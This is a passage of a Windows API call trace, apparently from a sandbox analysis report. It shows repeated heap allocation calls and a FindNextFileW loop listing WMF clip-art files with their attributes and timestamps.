Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.090] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.090] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.090] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.090] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.090] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.090] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6154e300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6154e300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18180_.WMF", cAlternateFileName="")) returned 1 [0069.090] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.090] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.090] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.090] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.090] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.090] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0069.091] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff1ee0 [0069.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1032a38 [0069.091] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.091] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe4e1600, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe4e1600, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18181_.WMF", cAlternateFileName="")) returned 1 [0069.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.091] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.091] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff1f00 [0069.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1032b40 [0069.091] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.091] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ce0000, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0ce0000, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18182_.WMF", cAlternateFileName="")) returned 1 [0069.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.091] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.091] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff1f20 [0069.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1032c48 [0069.092] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.092] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12d7e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe12d7e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18184_.WMF", cAlternateFileName="")) returned 1 [0069.092] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.092] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.092] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.092] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.092] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.092] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff1f40 [0069.092] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1032d50 [0069.092] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.092] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8867900, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8867900, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18185_.WMF", cAlternateFileName="")) returned 1 [0069.092] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.092] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.092] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.092] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.092] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.092] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff1f60 [0069.092] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1032e58 [0069.092] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.092] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50bd100, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe50bd100, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x758, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18187_.WMF", cAlternateFileName="")) returned 1 [0069.092] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.092] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.092] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.093] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff1f80 [0069.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1032f60 [0069.093] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.093] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c95f00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84c95f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18189_.WMF", cAlternateFileName="")) returned 1 [0069.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.093] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.093] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff1fa0 [0069.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1033068 [0069.093] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.093] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18190_.WMF", cAlternateFileName="")) returned 1 [0069.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.093] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.093] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff1fc0 [0069.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1033170 [0069.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2f80) returned 0x103ca28 [0069.094] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10427f8) returned 1 [0069.094] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.094] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x171d3300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x171d3300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xc9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18191_.WMF", cAlternateFileName="")) returned 1 [0069.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.094] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.094] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff1fe0 [0069.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1033278 [0069.094] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.094] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6432a00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb6432a00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18192_.WMF", cAlternateFileName="")) returned 1 [0069.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.094] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.094] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2000 [0069.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1033380 [0069.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.095] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd07d0800, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd07d0800, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18193_.WMF", cAlternateFileName="")) returned 1 [0069.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2020 [0069.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1033488 [0069.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.095] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e33800, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29e33800, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0xdde, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18194_.WMF", cAlternateFileName="")) returned 1 [0069.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2040 [0069.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1033590 [0069.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.095] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4404e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf4404e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18196_.WMF", cAlternateFileName="")) returned 1 [0069.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2060 [0069.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1033698 [0069.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.096] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18197_.WMF", cAlternateFileName="")) returned 1 [0069.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2080 [0069.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10337a0 [0069.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.096] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18198_.WMF", cAlternateFileName="")) returned 1 [0069.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff20a0 [0069.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10338a8 [0069.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.097] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fdb1800, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fdb1800, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18199_.WMF", cAlternateFileName="")) returned 1 [0069.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff20c0 [0069.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10339b0 [0069.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.097] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd302000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfd302000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18200_.WMF", cAlternateFileName="")) returned 1 [0069.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff20e0 [0069.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1033ab8 [0069.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.097] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c3c400, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3c3c400, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18201_.WMF", cAlternateFileName="")) returned 1 [0069.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.098] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.098] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2100 [0069.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1033bc0 [0069.098] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.098] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18202_.WMF", cAlternateFileName="")) returned 1 [0069.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.098] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.098] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 